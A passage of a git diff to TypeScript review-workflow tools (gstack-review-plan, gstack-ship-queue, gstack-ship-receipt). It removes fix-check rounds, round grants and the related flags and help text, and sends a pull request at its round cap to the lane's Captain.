(docs/review-policy.md#rounds-per-pull-request; GST-2673)
- --round-grant <id> a review round grant at HEAD, recorded with gstack-approvals round-grant by the lane or its Captain:
- one more round for the PR at this head; any other row is refused (exit 3)
- --stop <head> with a fix-check --round-grant (PR_REVIEW_FLAGS:): the stop record's head that grant names; it is
- the fix range's base, and the plan is that stop's one scoped fix-check, never a new full review (GST-2968)
--declare-risk <classes> risk classes the lane declares for the diff (comma list of ${RISK_CLASSES.join(', ')}): they join
the detected classes and only raise the depth; RISK_DECLARED: prints both (GST-1129)
- --fix-check-prompt print the fix-check reviewer's prompt from --fix-list, --hunks, --tests and --callers files
Mode (R65, the base policy's review key): review.panel all (default) keeps today's panel on every class. review.panel risk
(opt-in; its one-reader shape has not passed a no-loss replay) runs lean off risk class, and review.panel off everywhere: lean runs one reader: risk class gets the merged reader on review.risk_model
(the native adversarial brief plus the checklists, the Red Team and the targeted brief), non-risk code the single reader at the
-lane's reasoning (cross-family when it publishes numbers), docs the core read, tests one batched testing reader (R51); one fix-check after fixes, never more
+lane's reasoning (cross-family when it publishes numbers), docs the core read, tests one batched testing reader (R51); a full round 2 after fixes, never more
than 2 rounds. review.platform on (any panel): a light diff with no numeric claims whose PR
carries capy-ai[bot]'s review at HEAD plans NEXT: platform and a planned SKIP for every reader.
Depth (R51, risk not size): full on gate class, a risk class (money, auth, secret, security, data, review.risk_paths) or any DEPTH_ERROR;
standard only by --depth-floor or a raise; otherwise light. TARGETED: the money,
-gate, auth and secret classes the diff touches; any class dispatches the targeted reader at every depth. NEXT: full, scoped
-(a full pass on the range: fix-check, Red Team, native adversarial), fix-check, voices (gate class: Step 11 before any stop,
+gate, auth and secret classes the diff touches; any class dispatches the targeted reader at every depth. NEXT: full, voices (gate class: Step 11 before any stop,
then ask again with --adversarial-ran), targeted (the targeted-only read after the loop), stop or done. A full plan
from an error exits 0; exit 1 means no plan could be built (git could not list the diff).
${exitTableHelp()}`;
@@ -139,82 +108,29 @@ const git = (a: string[]) => { const r = spawnSync('git', ['-c', 'core.quotePath
function main(): number {
if (has('--help') || has('-h')) { process.stdout.write(HELP + '\n'); return EXIT.ok; }
- if (has('--fix-check-prompt')) {
- const read = (n: string, required: boolean) => {
- const f = flag(n);
- if (!f) return required ? null : '';
- try { return fs.readFileSync(f, 'utf8'); } catch { return null; }
- };
- const built = claimedFixCheckHunks(process.cwd());
- const [fixList, given, testResults, callers] = [read('--fix-list', true), read('--hunks', !built), read('--tests', true), read('--callers', false)];
- if (fixList === null || given === null || testResults === null || callers === null) { process.stderr.write('gstack-review-plan: --fix-check-prompt needs readable --fix-list and --tests files, and --hunks unless this run claimed a fix-check grant (gstack then builds them; --callers optional)\n'); return EXIT.usage; }
- if (built && given && given !== built.text) process.stderr.write(`FIX_CHECK_HUNKS: built from git diff ${built.base.slice(0, 12)} HEAD (the claimed grant's head); the --hunks file differs and is not used\n`);
- const touchedHunks = built?.text ?? given;
- process.stdout.write(renderFixCheckPrompt({ fixList, touchedHunks, testResults, callers }));
- recordFixCheckHunks(process.cwd(), touchedHunks, undefined, fixList);
- return EXIT.ok;
- }
const base = flag('--base');
if (!base) { process.stderr.write(`gstack-review-plan: --base <ref> is required\n${HELP}\n`); return EXIT.usage; }
const last = (flag('--last') ?? 'none') as History['last'];
- if (!['none', 'full', 'fix-check'].includes(last)) { process.stderr.write('gstack-review-plan: --last must be none, full or fix-check\n'); return EXIT.usage; }
+ if (!['none', 'full'].includes(last)) { process.stderr.write(`gstack-review-plan: --last must be none or full${last === 'fix-check' ? ' (fix-checks and their grants were removed in GST-3562 part 4; docs/troubleshooting.md#pr-round-cap)' : ''}\n`); return EXIT.usage; }
const pass1Depth = (flag('--pass1-depth') ?? 'full') as Depth;
if (!['light', 'standard', 'full'].includes(pass1Depth)) { process.stderr.write('gstack-review-plan: --pass1-depth must be light, standard or full\n'); return EXIT.usage; }
- const fixChecks = Number(flag('--fix-checks') ?? (last === 'fix-check' ? '1' : '0'));
- if (!Number.isInteger(fixChecks) || fixChecks < 0) { process.stderr.write('gstack-review-plan: --fix-checks needs an integer >= 0\n'); return EXIT.usage; }
const pass = Number(flag('--pass') ?? '0');
if (!Number.isInteger(pass) || pass < 0) { process.stderr.write('gstack-review-plan: --pass needs an integer >= 0\n'); return EXIT.usage; }
const floor = flag('--depth-floor') as Depth | undefined;
if (has('--depth-floor') && floor !== 'standard' && floor !== 'full') { process.stderr.write('gstack-review-plan: --depth-floor must be standard or full (a floor only raises the depth)\n'); return EXIT.usage; }
- const grant = flag('--grant');
- if (has('--grant') && (!grant || grant.startsWith('-'))) { process.stderr.write('gstack-review-plan: --grant needs the approval id gstack-approvals add printed\n'); return EXIT.usage; }
- const rangeBase = flag('--range-base') ?? flag('--stop');
- if (has('--stop') && (!flag('--stop') || flag('--stop')!.startsWith('-') || !flag('--round-grant') || (has('--range-base') && flag('--range-base') !== flag('--stop') && git(['merge-base', '--is-ancestor', flag('--stop')!, flag('--range-base')!]) === null))) { process.stderr.write('gstack-review-plan: --stop <the stop record\'s head> comes with the --round-grant <fix-check grant id> that answers it (PR_REVIEW_FLAGS:), and is the fix range\'s base: a --range-base must be that head or a commit after it (the post-review or targeted re-plan after the granted fix-check)\n'); return EXIT.usage; }
- if (has('--range-base') && (!rangeBase || rangeBase.startsWith('-'))) { process.stderr.write('gstack-review-plan: --range-base needs the fix range\'s base commit (this pass\'s PASS_HEAD; with --post-review --last fix-check, the last fix-check\'s commit)\n'); return EXIT.usage; }
- if (grant && !rangeBase) { process.stderr.write('gstack-review-plan: --grant needs --range-base (round 2\'s PASS_HEAD; with --post-review --last fix-check, the last fix-check\'s commit), which binds the grant to the stop it answers\n'); return EXIT.usage; }
+ const rangeBase = flag('--range-base');
+ if (has('--range-base') && (!rangeBase || rangeBase.startsWith('-'))) { process.stderr.write('gstack-review-plan: --range-base needs the fix range\'s base commit (this pass\'s PASS_HEAD)\n'); return EXIT.usage; }
if (list('--force').includes('targeted')) { process.stderr.write('gstack-review-plan: --force targeted: the targeted reader is no specialist; the plan dispatches it whenever the diff has a targeted class, and after a finished loop for a docs claim added since its read: pass --range-base <the commit it read> --targeted-ran <the targeted_patch_id it read> (docs/review-policy.md#targeted-only-read-after-the-loop)\n'); return EXIT.usage; }
const declared = list('--declare-risk');
if (has('--declare-risk') && (!declared.length || declared.some(c => !(RISK_CLASSES as readonly string[]).includes(c)))) { process.stderr.write(`gstack-review-plan: --declare-risk ${flag('--declare-risk') ?? ''}: each class is one of ${RISK_CLASSES.join(', ')} (a declaration only raises the depth)\n`); return EXIT.usage; }
const root = git(['rev-parse', '--show-toplevel'])?.trim();
if (!root) { process.stderr.write('gstack-review-plan: run it inside a git checkout\n'); return EXIT.fail; }
process.chdir(root);
- let inLoopLink = false;
- let recorded: ReturnType<typeof readReviewRoundGrants> | undefined;
- const bindRow = (row: Record<string, any>) => bindFixCheckRow(root, row, recorded ??= readReviewRoundGrants(root), { open: true }).ok;
- if (grant) {
- const loc = locate({ cwd: root, env: process.env });
- const row = ('file' in loc ? readRecord(loc).rows : []).find(r => r.id === grant && r.outcome === 'approved' && (`${r.ask} ${r.scope}`.includes('review_loop_grant') || reviewRoundGrants([r]).some(x => x.kind === 'fix-check')));
- const named = row ? reviewRoundGrants([row]).find(x => x.kind === 'fix-check' && !x.legacy)?.head : undefined;
- const passHead = git(['rev-parse', '--verify', '--quiet', `${rangeBase}^{commit}`])?.trim();
- const ancestor = (a: string, d: string) => git(['merge-base', '--is-ancestor', a, d]) !== null;
- const chained = has('--post-review') && last === 'fix-check';
- const stopHead = row && passHead ? (named ? [named] : `${row.ask} ${row.scope}`.match(/\b[0-9a-f]{7,40}\b/g))?.map(s => git(['rev-parse', '--verify', '--quiet', `${s}^{commit}`])?.trim()).find(s => s && ancestor(passHead, s) && ancestor(s, 'HEAD') && !(chained && s === passHead)) : undefined;
- inLoopLink = !chained && last === 'fix-check' && stopHead === passHead;
- if (!stopHead) { process.stderr.write(`gstack-review-plan: --grant ${grant}: no approved row ${grant} naming review_loop_grant and this invocation's stop head (a commit ${chained ? `after --range-base ${rangeBase}, the last fix-check's commit, whose own grant does not carry over` : `at or after --range-base ${rangeBase}`}, at or before HEAD) in this branch's approval record (${'file' in loc ? 'gstack-approvals list' : loc.message}); record the owner's grant with gstack-approvals add --ask '... (review_loop_grant <stop head sha>)' first\n`); return EXIT.refused; }
- const logged = inLoopLink ? runScriptSync(path.join(path.dirname(Bun.fileURLToPath(import.meta.url)), 'gstack-review-read'), [], { encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 }) : null;
- if (logged && logged.status !== 0) { process.stderr.write(`gstack-review-plan: --grant ${grant}: gstack-review-read exited ${logged.status}, so whether a fix-check already spent this grant is unknown; no plan is safer than a fix-check the grant may not buy\n`); return EXIT.fail; }
- if (logged && row && (logged.stdout ?? '').split('\n---CONFIG---')[0]!.split('\n').some(l => { try { const v = JSON.parse(l); return countedFixCheck(v, bindRow) && Date.parse(v.timestamp) > Date.parse(row.recorded_at); } catch { return false; } })) { process.stderr.write(`gstack-review-plan: --grant ${grant}: a fix-check was logged after this grant was recorded, so the grant already bought a link of the fix-check chain; the stop at --range-base ${rangeBase} needs a new grant recorded after the last fix-check (gstack-approvals add --ask '... (review_loop_grant ${passHead!.slice(0, 12)})')\n`); return EXIT.refused; }
- }
+ const retired = ['--grant', '--fix-checks', '--round-grant', '--stop', '--fix-check-prompt'].filter(has);
+ if (retired.length) { process.stderr.write(`gstack-review-plan: ${retired.join(', ')}: fix-checks, round grants and owner grants were removed in GST-3562 part 4; a PR at its round cap goes to the lane's Captain (docs/troubleshooting.md#pr-round-cap)\n`); return EXIT.usage; }
const priorRounds = Number(flag('--prior-rounds') ?? '0');
const priorFull = Number(flag('--prior-full') ?? '0');
if (![priorRounds, priorFull].every(n => Number.isInteger(n) && n >= 0)) { process.stderr.write('gstack-review-plan: --prior-rounds and --prior-full need integers >= 0 (PR_REVIEW_FLAGS: from gstack-ship-preflight)\n'); return EXIT.usage; }
- const roundGrant = flag('--round-grant');
- let grantedStop: string | undefined;
- let grantUnspent = false;
- if (has('--round-grant')) {
- const at = git(['rev-parse', 'HEAD'])?.trim();
- const loc = locate({ cwd: root, env: process.env });
- const g = readReviewRoundGrants(root).find(x => x.approval === roundGrant);
- const pr = flag('--pr');
- const stop = has('--stop') ? git(['rev-parse', '--verify', '--quiet', `${flag('--stop')}^{commit}`])?.trim() : undefined;
- if (g && (g.kind === 'fix-check') !== has('--stop')) { process.stderr.write(`gstack-review-plan: --round-grant ${roundGrant}: ${g.kind === 'fix-check' ? 'a fix-check grant answers a stop record: pass the --stop <head> PR_REVIEW_FLAGS: prints with it' : 'an extra-round grant names no stop: --stop takes a fix-check grant'} (docs/troubleshooting.md#pr-round-cap)\n`); return EXIT.refused; }
- if (g && g.kind === 'fix-check' && (stop !== g.head || (pr !== undefined && !grantForPr(g, Number(pr))))) { process.stderr.write(`gstack-review-plan: --round-grant ${roundGrant}: the fix-check grant names the stop at ${g.head.slice(0, 12)} for PR #${g.pr}, not --stop ${(flag('--stop') ?? '').slice(0, 12)}${pr ? ` and PR #${pr}` : ''}; a grant buys the fix round of the one stop it names (docs/troubleshooting.md#pr-round-cap)\n`); return EXIT.refused; }
- if (g?.kind === 'fix-check') grantedStop = g.approval;
- const logged = g?.kind === 'fix-check' && last === 'fix-check' ? runScriptSync(path.join(path.dirname(Bun.fileURLToPath(import.meta.url)), 'gstack-review-read'), [], { encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 }) : null;
- grantUnspent = !!logged && logged.status === 0 && !grantSpent((logged.stdout ?? '').split('\n---CONFIG---')[0]!.split('\n').flatMap(l => { try { const v = JSON.parse(l); return v && typeof v === 'object' ? [v] : []; } catch { return []; } }), g!, bindRow);
- const atOrBefore = !!g && !!at && (g.head === at || git(['merge-base', '--is-ancestor', g.head, at]) !== null);
- if (!roundGrant || !g || !atOrBefore || (pr !== undefined && !grantForPr(g, Number(pr)))) { process.stderr.write(`gstack-review-plan: --round-grant ${roundGrant ?? ''}: no approved review_round_grant row ${roundGrant ?? ''} naming HEAD ${(at ?? 'unknown').slice(0, 12)} or a commit before it${pr ? ` and PR #${pr}` : ''} in this branch's approval record; record one with gstack-approvals round-grant (docs/troubleshooting.md#pr-round-cap)\n`); return EXIT.refused; }
- }
const collected = collectLive(root, base);
if (collected.errors.length) {
for (const e of collected.errors) process.stderr.write(`gstack-review-plan: git could not list the diff (${e.input}: ${e.detail}); fix: ${e.repair}; no plan is safer than a plan for an empty diff\n`);
@@ -292,18 +208,12 @@ function main(): number {
const brief = targetedBriefSha();
const ran = !['uncommitted', 'none'].includes(patch) && flag('--targeted-ran') === patch;
const postReview = has('--post-review');
- const fixCheckAt = postReview && pass > 0 && last === 'fix-check' && fixRange?.runtime_lines != null ? git(['rev-parse', '--verify', '--quiet', `${rangeBase}^{commit}`])?.trim() : undefined;
- const afterFixCheck = fixCheckAt ? docsChangeSince(root, fixCheckAt, head, ref) : null;
- const rawSince = fixCheckAt && own ? git(['diff', '--raw', '--no-renames', fixCheckAt, own]) : null;
- const carried = afterFixCheck && afterFixCheck.verdict !== 'code' && rawSince !== null && !/^:\d+ (100755|120000|160000) /m.test(rawSince) && gateTagsOf(['--commit', own!]) === 0 ? afterFixCheck : null;
const plan = planReview({
...collected, ...exclusionInput, ...riskPaths, declared: declared as RiskClass[], shape: { panel: review.panel, readerModel: review.reader_model, platform: review.platform, head, platformReview: platform?.ok ? platform.review : null }, scope, gateTagged, targeted: { classes: targeted.classes, ran }, numbers: scanNumbers(kept(added)), force, gated: list('--gated'), floor, tiers: auditEffort !== 'host',
criticalFound: has('--critical-found'), adversarialRan: has('--adversarial-ran'), reviewedNumbers: flag('--reviewed-numbers'),
- history: { priorRounds, priorFull, ...(grantedStop ? { grantedStop } : roundGrant ? { roundGrant } : {}), fullPasses: pass, last: grantUnspent ? 'none' : last, fixedBlocking: has('--fixed-blocking'), fixedBelow: (has('--fixed-below') || (postReview && pass > 0)) && last !== 'fix-check', blockingOpen: has('--blocking-open'), touchedGate: has('--touched-gate') || (!carried && (!!fixRange?.touched_gate || (postReview && pass > 0))), pass1Depth, rangeRuntimeLines: fixRange?.runtime_lines, granted: grant, fixChecks: has('--fix-checks') ? fixChecks : undefined, postReview, chained: inLoopLink },
+ history: { priorRounds, priorFull, fullPasses: pass, last, fixedBlocking: has('--fixed-blocking'), fixedBelow: has('--fixed-below') || (postReview && pass > 0), blockingOpen: has('--blocking-open'), touchedGate: has('--touched-gate') || !!fixRange?.touched_gate || (postReview && pass > 0), pass1Depth, rangeRuntimeLines: fixRange?.runtime_lines, postReview },
});
- if (plan.next.reason.startsWith('PR_ROUND_CAP')) plan.next.reason += `: record this stop with gstack-ship-receipt stop --pr ${flag('--pr') ?? '<n>'} --run <this /ship run> --since <REVIEW_SINCE>, which prints the fix-check round grant (gstack-approvals round-grant --kind fix-check) that buys its fix round, in this run or the next; once it is recorded, pass the --round-grant and --stop the PR_REVIEW_FLAGS: line prints: in this run from gstack-ship-receipt history --pr ${flag('--pr') ?? '<n>'} --base <base> --run <this /ship run> (its preflight already ran, and a second one is refused), in a new run from its preflight (docs/troubleshooting.md#pr-round-cap)`;
- if (carried) plan.next.reason = `the edits after the last fix-check ${fixCheckAt!.slice(0, 12)} are ${carried.paths.length ? `${carried.verdict === 'plain' ? 'plain docs' : `docs (${carried.paths.join(', ')})`}${carried.stamps.length ? ' and release stamps' : ''}` : 'release stamps'} (docsChangeSince), no gate-class edit (GST-1702): ${plan.next.reason}`;
- else if (postReview && pass > 0) plan.next.reason = `edits after the review bound (Step 16 stage 2.1) plan as a fix to a gate-class path, never a note: ${plan.next.reason}`;
+ if (postReview && pass > 0) plan.next.reason = `edits after the review bound (Step 16 stage 2.1) plan as a fix to a gate-class path, never a note: ${plan.next.reason}`;
if (postReview && plan.next.step === 'stop') {
const status = rangeBase ? git(['diff', '-z', '--name-status', '--no-renames', rangeBase, own ?? head])?.split('\0').filter(Boolean) : undefined;
const pairs = status ? Array.from({ length: status.length >> 1 }, (_, i) => [status[2 * i]!, status[2 * i + 1]!] as const) : undefined;
@@ -316,10 +226,9 @@ function main(): number {
}
const ranArg = flag('--targeted-ran');
const delta = plan.next.step !== 'done' || !targeted.classes.length || ran ? null
- : carried?.verdict === 'claim' ? { state: 'dispatch' as const, range_base: fixCheckAt!, paths: [...carried.paths] }
- : rangeBase && ranArg ? targetedDelta(root, ref, rangeBase, ranArg, !!grant) : null;
+ : rangeBase && ranArg ? targetedDelta(root, ref, rangeBase, ranArg) : null;
if (delta?.state === 'dispatch') {
- const why = grant ? `the owner's grant ${grant} covers the fix round that changed ${delta.paths.join(', ')}` : `the only change since is docs whose claim the record cannot carry (${delta.paths.join(', ')})`;
+ const why = `the only change since is docs whose claim the record cannot carry (${delta.paths.join(', ')})`;
plan.next = { step: 'targeted', reason: `the loop is done and ${why} after the targeted read at ${delta.range_base.slice(0, 12)}: one targeted reader reads HEAD for ${classList(targeted.classes)}; it is not a review round` };
plan.dispatches.push({ role: 'targeted', name: 'targeted', effort: ROLE_EFFORT.targeted, exclude: active ? [...active.specs] : [], classes: [...targeted.classes], ...(active?.keep.length ? { keep: [...active.keep] } : {}) });
} else if (delta) plan.skipped.push(`targeted-only read (${delta.reason})`);
@@ -329,7 +238,7 @@ function main(): number {
}
const targetedDeltaOut = delta?.state === 'dispatch' ? { range_base: delta.range_base, paths: delta.paths, classes: targeted.classes } : null;
const selection = policySelection(active && { state: 'active', specs: active.specs, keep: active.keep, excerpt: active.excerpt }, readers);
- plan.dispatches.forEach((d, i) => { if (d.role !== 'fix-check') plan.dispatches[i] = selectFor(d, selection); });
+ plan.dispatches.forEach((d, i) => { plan.dispatches[i] = selectFor(d, selection); });
const gateScan = { tagged: gateTagged, head };
if (has('--json')) {
const { runtimeLines, stepDepth, depthReasons, ...rest } = plan;
diff --git a/bin/gstack-ship-queue b/bin/gstack-ship-queue
index ff87ff1ab..4e366c8c8 100755
--- a/bin/gstack-ship-queue
+++ b/bin/gstack-ship-queue
@@ -3,7 +3,7 @@
* gstack-ship-queue — the shared merge queue, one subcommand per protocol
* step (field list 2, W1; docs/ship-policy.md#run-a-shared-merge-queue).
*
- * gstack-ship-queue ready --pr <n> [--pregate <pregate.json>] [--trail <decisions.tsv>] [--gate-exit <rc> --gate-log <file>]
+ * gstack-ship-queue ready --pr <n> [--pregate <pregate.json>] [--gate-exit <rc> --gate-log <file>]
* (refused with QUEUE_RECEIPT_MISSING|STALE unless the PR body carries /ship's receipt for HEAD)
* gstack-ship-queue stamp --pr <n> --version <X> --expect-gated <sha> --expect-base <sha>
* [--expect-order <pr,...>] [--allow-repo-commands] [--gate-exit <rc> --gate-log <file>]
@@ -48,11 +48,11 @@ logShipCall('gstack-ship-queue');
const HELP = `gstack-ship-queue — the shared merge queue's protocol steps (docs/ship-policy.md#run-a-shared-merge-queue)
- ready --pr <n> [--pregate <file>] [--trail <decisions.tsv>] [--gate-exit <rc> --gate-log <file>]
+ ready --pr <n> [--pregate <file>] [--gate-exit <rc> --gate-log <file>]
READY #<n> <head> STAMP_VERSION=<X|unstamped>, CI at that head, PREGATE, gate state,
SHIP_RECEIPT (refused unless the PR body carries /ship's receipt for that head),
- TRIAL_MERGES for each open PR sharing a file, and the Attention line: a risk-class
- receipt names the --trail's newest trail-read row, or prints MISSING: cross-family trail read
+ TRIAL_MERGES for each open PR sharing a file, and the Attention section opened by the
+ receipt's risk class
stamp --pr <n> --version <X> --expect-gated <sha> --expect-base <sha> [--expect-order <pr,...>] [--allow-repo-commands]
[--gate-exit <rc> --gate-log <file>]
restamp, commit and prove: QUEUE_STAMP: <pr> <X> head= gated= tree= receipt=
@@ -249,10 +249,10 @@ async function main(argv: string[]): Promise<number> {
if (explicitBase && prBase && prBase !== ctx.base) return finish('ready', { ok: false, lines: [], run: 'none', failure: { code: 'QUEUE_NOT_READY', message: `#${pr} targets ${prBase}, not ${ctx.base}, so a receipt reviewed against ${ctx.base} does not cover it`, fix: `rerun ready without --base, or with --base ${prBase}` } });
const unfetched = refreshBase(ctx);
const loaded = loadBasePolicy(ctx);
- if (!('message' in loaded) && loaded.policy.train) return (await import('../crew/lib/ship-queue-train-cli')).readyMain(ctx, args, { pr, pregate: flag(args, '--pregate'), trail: flag(args, '--trail'), ...gate });
+ if (!('message' in loaded) && loaded.policy.train) return (await import('../crew/lib/ship-queue-train-cli')).readyMain(ctx, args, { pr, pregate: flag(args, '--pregate'), ...gate });
if (unfetched) return finish('ready', { ok: false, lines: [], run: 'none', failure: unfetched });
if (['--screen', '--no-screen', '--broad'].some(f => args.includes(f))) process.stderr.write('gstack-ship-queue ready: --screen/--no-screen/--broad ignored: the base policy declares no train block\n');
- return finish('ready', ready(ctx, { pr, pregate: flag(args, '--pregate'), trail: flag(args, '--trail'), ...gate }));
+ return finish('ready', ready(ctx, { pr, pregate: flag(args, '--pregate'), ...gate }));
}
if (cmd === 'stamp') {
const version = flag(args, '--version');
diff --git a/bin/gstack-ship-receipt b/bin/gstack-ship-receipt
index 32bd39934..2e5fe77f1 100755
--- a/bin/gstack-ship-receipt
+++ b/bin/gstack-ship-receipt
@@ -17,9 +17,8 @@
* gstack-ship-receipt docs-caps [--base <ref>] [--policy <ship-policy.json>] [--json]
* gstack-ship-receipt history (--pr <n> [--repo <owner/repo>] | --body <file>) [--head <sha>] [--base <branch>] [--run <id>] [--json]
* gstack-ship-receipt stub (--pr <n> [--repo <owner/repo>] | --body <file>) --run <id> [--head <sha>] [--review-loop <json|@file>] [--void]
- * gstack-ship-receipt stop (--pr <n> [--repo <owner/repo>] | --body <file>) --run <id> --since <REVIEW_SINCE>
+ * gstack-ship-receipt stop [--pr <n> [--repo <owner/repo>] | --body <file>] --run <id> --since <REVIEW_SINCE>
* gstack-ship-receipt abandoned (--pr <n> [--repo <owner/repo>] | --body <file>) --run <id> --by <who> --reason <one line>
- * gstack-ship-receipt claim (--pr <n> [--repo <owner/repo>] | --body <file>) --run <id> --grant <approval id>
*
* `write` validates against `gstack-artifact schema ship-receipt`, prints the
* fenced block (and SHIP_RECEIPT: <identifiers> on stderr), writes it to --out,
@@ -58,7 +57,7 @@ import {
import { checkDocsCaps, docsCapLine, docsExceptionLine, parseReceiptDocs } from '../lib/ship-receipt-docs';
import { comparePath, contextPacket, PACKET_SECTION_CAP, readScopedReview, touchedPaths } from '../lib/ship-patch';
import { planRecheck, recheckPacket } from '../crew/lib/ship-recheck';
-import { carryExcludeBinds, deeper, depthBelow, exceptionHead, exceptionLoopProblem, exceptionProblems, parseReviewLoopException, parseReviewTargeted, plainDocsSince, platformReceiptDepth, receiptExclude, receiptExcludeFallback, receiptReviewAtHead, receiptTargetedAtHead, reviewLoopExceptionLine, targetedClassesSince, writeExcludeBinds } from '../lib/ship-receipt-depth';
+import { carryExcludeBinds, deeper, depthBelow, exceptionProblems, parseReviewTargeted, plainDocsSince, platformReceiptDepth, receiptExclude, receiptExcludeFallback, receiptReviewAtHead, receiptTargetedAtHead, targetedClassesSince, writeExcludeBinds } from '../lib/ship-receipt-depth';
import { RISK_CLASSES, type RiskClass } from '../lib/review-risk';
import { checkReceiptProse, proseLine } from '../lib/ship-receipt-prose';
import { resolveStateRoot } from '../lib/state-root';
@@ -67,10 +66,9 @@ import { publicRuledNote, readRuledNotes, ruledNoteText } from '../lib/ruled-not
import { appliedGateDispositions, gateDispositionText, publicGateDisposition } from '../lib/gate-dispositions';
import { securityFingerprints } from '../lib/security-findings';
import { laneExceptionBodyLines } from '../lib/test-lane-exception';
-import { abandonMarker, grantedStop, grantMarker, historyLine, placeRunEntry, prReviewHistory, receiptedRun, reviewRoute, runStub, stopFrom, stopMarker } from '../lib/pr-review-history';
-import { changeRunRecord, readRunRecord } from '../lib/ship-run-record';
+import { abandonMarker, historyLine, placeRunEntry, prReviewHistory, receiptedRun, reviewRoute, runStub, stopFrom, stopMarker } from '../lib/pr-review-history';
+import { changeRunRecord } from '../lib/ship-run-record';
import { splitAgentNotes, withAgentNotes } from '../lib/agent-notes';
-import { grantFor, grantForPr, publicRoundGrant, readReviewRoundGrants, type ReviewRoundGrant } from '../lib/review-round-grant';
import { readMechanicalLines } from '../lib/ship-mechanical';
import { patchId, productPatchAgainstBase, productRules, productSpec, verifiedOutputs } from '../lib/ship-receipt-patch';
import { runCalls } from '../lib/ship-clock';
@@ -105,27 +103,22 @@ const HELP = `gstack-ship-receipt — the \`\`\`gstack-ship-receipt\`\`\` block
R51 per pull request (docs/review-policy.md#rounds-per-pull-request): sums the review rounds
the receipt and its runs block record across every head and /ship run, and prints
PR_REVIEW_HISTORY:, PR_REVIEW_FLAGS: (what Step 9 passes to every gstack-review-plan call) and
- PR_REVIEW_ROUTE: first|final|read-only|fix-check (why); a PR body gh cannot read prints source=unavailable
- with its cause and fix on stderr (exit 1), and the plan then counts as it did before. A fix-check
- grant naming the newest stop record adds --round-grant <id> --stop <its head> (route fix-check; one
- it can't apply prints PR_REVIEW_GRANT: not applied (why)); an extra-round grant at HEAD, or at a head
- HEAD only merges --base into with the PR's own lines unchanged, adds --round-grant <id> (GST-2968)
+ PR_REVIEW_ROUTE: first|final|read-only (why); a PR body gh cannot read prints source=unavailable
+ with its cause and fix on stderr (exit 1), and the plan then counts as it did before
stub --pr <n> | --body <file> --run <id> [--head <sha>] [--review-loop <json|@file>] [--void]
Step 9: record this /ship run's rounds so far in the runs block before its receipt exists, so a
run that stops still counts; the run's receipt write (same --run) replaces it; --void marks an
- infrastructure failure that counts nothing. stub, stop, claim and carry with --pr edit the PR body
+ infrastructure failure that counts nothing. stub, stop and carry with --pr edit the PR body
through gh; on Capy (GSTACK_CAPY=1) they print HOST_PUBLISH: with the body file instead (GST-3183)
- stop --pr <n> | --body <file> --run <id> --since <REVIEW_SINCE>
+ stop [--pr <n> | --body <file>] --run <id> --since <REVIEW_SINCE>
Step 9, on NEXT: stop: record the review this run stopped on (its commit and tree, from the newest
- via:ship review row bound to one committed tree) as a stop record in the runs block, and print the
- round-grant command that buys its fix round (STOP_RECORD:, NEXT:); the stopping row is the newest
- full pass, fix-check or Step 11 voice, so the stop is the head it read (#4591); it also marks this
- checkout's run record stopped at that head and tree; an unbound read prints STOP_UNBOUND (exit 3)
- and records nothing (docs/troubleshooting.md#stop-unbound)
- claim --pr <n> | --body <file> --run <id> --grant <approval id>
- before the first dispatch of a run whose PR_REVIEW_FLAGS: name --round-grant: record that this run
- spends the grant (GRANT_CLAIMED:), in the PR body and in this checkout's run record; a grant
- another run claimed is refused (GRANT_SPENT, exit 3)
+ via:ship review row bound to one committed tree) as a stop record in the runs block, and print what
+ the lane's Captain decides (STOP_RECORD:, NEXT:); the stopping row is the newest full pass or Step 11
+ voice, so the stop is the head it read (#4591); it also marks this checkout's run record stopped at
+ that head and tree. Before a PR exists (no --pr and no --body), only the run record takes the stop
+ (pr=none; HARN-138), and a refused run-record write then exits 1 with no STOP_RECORD; a --pr
+ or --body with no value is a usage error (exit 2). An unbound read prints STOP_UNBOUND (exit 3) and records nothing
+ (docs/troubleshooting.md#stop-unbound)
abandoned --pr <n> | --body <file> --run <id> --by <who> --reason <one line>
gstack-ship-run abandon's PR-body half: a mark:abandoned entry in the runs block (RUN_ABANDON_MARK:)
docs-caps [--base <ref>] /ship Step 14.5: one DOCS_CAP: <path> <bytes>/<max> ok|over line per docs.caps entry of the
@@ -142,10 +135,7 @@ write flags: --pr --head --base --version --gated-tree --predecessor --gate <jso
--review-loop <json|@file> ({passes, blocking_found, deferred[, noted, fixed, scope]}: gstack-review-scope summary --out)
--docs <json|@file> ({status: updated|current|blocked, scope[, exception: {accepted_by, date, via, reason}]}: Step 14.5's outcome;
blocked without an exception is DOCS_AUDIT_BLOCKED, and with --body the body must carry the exception line verbatim)
- --review-loop-exception <json|@file> ({accepted_by, date, via, reason, fix_check: {head, findings[, files]}}: the owner accepted a
- stop after a fix-check edit; needs --review-loop with fix_checks >= 1, fix_check.head an ancestor of the head, and with --body the
- "Review-loop exception: …" line verbatim; or second_pass: {head, deferred: [<finding id>]} in place of fix_check for a stop after
- the second full pass with a finding left open, needing passes >= 2 and deferred >= 1; else REVIEW_LOOP_EXCEPTION_INVALID). Every receipt records gstack_version and
+ Every receipt records gstack_version and
review_depth: the depth HEAD needs, recomputed from the committed range (--head must be HEAD; a dirty checkout or an
unreadable input records full).
--review-exclude <digest|none> (the digest= on gstack-review-dispatch verify's REVIEW_EXCLUDE_RECORD: line, which the reviewers' briefs
@@ -309,19 +299,7 @@ async function cmdWrite(rest: string[], json: boolean): Promise<number> {
return EXIT.refused;
}
}
- let loopException: ReturnType<typeof parseReviewLoopException> | undefined;
- if (flag(rest, '--review-loop-exception') !== undefined) {
- const refuse = (why: string) => { process.stderr.write(resultLineWithDocs('gstack-ship-receipt write', 'REVIEW_LOOP_EXCEPTION_INVALID', `${why}; nothing written`) + '\n'); return EXIT.fail; };
- try { loopException = parseReviewLoopException(jsonArg(flag(rest, '--review-loop-exception'))); } catch (e: any) { return refuse(`--review-loop-exception: ${e.message}`); }
- if (!loopException.ok) return refuse(loopException.message);
- let loop: unknown; try { loop = jsonArg(flag(rest, '--review-loop')); } catch {}
- const loopProblem = exceptionLoopProblem(loopException.exception, parseReviewLoop(loop));
- if (loopProblem) return refuse(`--review-loop-exception ${loopProblem}`);
- const fc = exceptionHead(loopException.exception);
- if (spawnSync('git', ['merge-base', '--is-ancestor', fc, head], { cwd: repoRoot }).status !== 0) return refuse(`${loopException.exception.fix_check ? 'fix_check' : 'second_pass'}.head ${fc.slice(0, 12)} is not ${head.slice(0, 12)} or an ancestor of it`);
